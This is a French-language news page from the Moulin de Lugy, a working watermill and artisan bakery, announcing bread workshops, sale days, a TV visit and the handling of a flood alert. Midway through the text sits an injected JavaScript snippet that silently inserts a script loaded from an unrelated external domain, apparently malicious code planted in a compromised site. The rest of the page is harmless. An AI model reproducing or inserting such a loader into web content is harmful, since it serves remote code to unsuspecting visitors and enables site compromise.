Nous sommes désolés mais d’ores et déjà tous les stages prévus pour 2020 sont réservés . Nous en mettrons bientôt d’autres mais pour 2021. Nous attendrons la sortie de la période pénible que nous traversons toutes et tous. Un très grand merci à tous ceux qui au long de leur vie nous soignent et plus particulièrement en cette période de Covid19 .

Ce jeudi 28 novembre l’émission c’est qui le patron s’est arrêtée au moulin. Malheureusement ils n’ont pas pu filmer le moulin en activité de fabrication de pain, ni en production électrique. Nous étions en alerte orange et donc en gestion d’un petite montée d’eau. Cependant avec leur drone ils nous ont fait parvenir ces deux photos. la hauteur d’eau retenue est de 2.00 mètres et les trois rehausses sont ouvertes pour laisser passer le surplus d’eau. Les avisés verront que déjà dans la foret on peut apercevoir un début de stockage d’eau dans l’expansion naturelle du moulin .Eh oui car un moulin en activité est un outil de gestion de crue.de part la règlementation nous devons tout faire pour nous maintenir à notre cote imposée, ici 2.00mètres. Si la cote est dépassée nous devons lâcher de l’eau pour t revenir très vite à la cote nominale. C’est ce que nous avons fait cette nuit-là : la roue en fonction nous avons ouvert un 2ème rehausse le 27 à 22 heures, puis à 7 h 30 nous savon du retirée partiellement la 3éme, à 9h 05 il nous a fallu stopper la production d’électricité pour ne pas endommager notre roue. De ce fait nous avons dû ouvrir très légèrement 2 vanne sur 3 pour tenir la cote de 2.00 mètres. Vannes qui ont été refermées à 12 heures. À 15 heures nos remettions une rehausse en place et à 19 heures nous recommencions à produire et revendre du courant .Et nous avons remis en place le deux autres rehausse .La gestion de la montée d’eau était terminée.

le moulin de Lugy vous accueillera les 22 et 23 juin selon le programme ci dessous

Tous les 15 jours, les vendredis de 15 heures à 19 heures, vous pouvez venir au moulin de Lugy pour acheter nos pains et brioches par trois fois récompensées au Gault et Millau artisans boulangers.

Les prochaines fabrications sont programmées au vendredi 26/04 ; 10/05 ; 24/05 ; 7/06/; 21/06 ; et ainsi de suite .

Comme nous rentrons en période estivale nous vous recommandons de passer vos commandes par mail à l’adresse ci dessous . Sinon vous devrez vous contenter de ce que les autres amateurs de vrais et bons pains vous auront laissé .

Si vous voulez visiter le moulin et en profiter pour acheter du pain et des brioches , c’est possible après avoir réservées vos heures de visites par téléphone .

Au plaisir de vous recevoir dans ce moulin multi centenaire, et toujours actif.

Et n’hesitez pas à nous appeler si vous voulez d’autres renseignements.

;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);

https://get.google.com/albumarchive/113791489798240210345/album/AF1QipNAvPdEw60XCPxEbD5RyHr1q9GKHN51rHDBiK91?authKey=CMqS7fuo_8GdZg

Après deux années d’absences nous rouvrons à nouveau notre moulin Cliquez sur ce lien :   https://www.patrimoinedepays-moulins.org/programmation. et vous aurez tous les moulins ouverts à la visite dans notre région. Nous voulons vous montrer et vous faire participez à la nouvelle vie du moulin de Lugy , à son activité hydraulique, à son activité boulangère, à son activité écologique,  à son activité touristique.

Venez déguster nos fabrications de pains et brioches  et pour être surs d’en avoir, pensez à réserver ce que vous désirerez emporter..

Au 16 et 17 juin 2018 !!!!

.

et pourquoi ne pas leur offrir un stage de pain  dans  un univers bucolique.

 

N’hésitez pas et faite leur plaisir

 

 

Les stages de 2017 se terminent déjà .

Ils nous faut penser à 2018.

Pour 2018 nous vous avons programmé 10   stages toujours aux   mêmes conditions, les jeudis et vendredis, pendant la fournée hebdomadaire   et toujours au même tarifs.

Mais si vous voulez une autre date  n’hesitez pas à nous en faire part , ensemble nous en étudierons la possibilité.Et c’est avec un grand plaisir que nous vous recevrons au moulin pour partager ensemble des moments exceptionnels!!

A très bientôt au moulin

Fabrication Noël 2016

 

 

 

 

 

 

 

Fabrication à la main d’un stagiaire en 2017 .

 

 

 

un très bon souvenir de 2015 , 6 cameras au moulin !!!

une  équipe formidable pour une journée inoubliable.

 

 

 

tout comme en 2017 notre boulange et toutes nos fabrications  ont été récompensée en 2018

Voici  nos dates de fabrications pour le second semestre 2017.

Pour les vacances nous continuerons de fabriquer une semaine sur deux. Puis il y aura le stage de septembre, ce sera le dernier qui se déroulera un vendredi et un samedi. Pour les autres stages à compter du mois d’octobre  nous essayerons une nouvelle formule les jeudi et vendredi .

N’oubliez pas de passer vos commandes  de pains et brioches avant  le jeudi  12 heures, comme cela vous serez sur d’avoir  ce que vous voulez .Sinon il y a toujours les surplus de fabrication.N’hésitez pas à nous appeler.

Le moulin est toujours ouvert pour les ventes le vendredi de 15 h à 19 heures.Et si vous pouvez pas venir dans ce créneau il suffit de nous le dire . Et pour les visites assurez vous avant de notre  présence.

Merci pour votre confiance et bonnes vacances

Cette années pas de participation exceptionnelle à la fête du patrimoine de pays et des moulins. Mais le moulin reste ouvert comme à l’accoutumée.

Nos stages ont toujours aussi demandés  et à compter de celui du mois d’octobre nous essaierons une nouvelle formule les jeudi et vendredi.

Bonne fêtes des pères à tous et bienvenus aux papas futurs apprentis boulangers.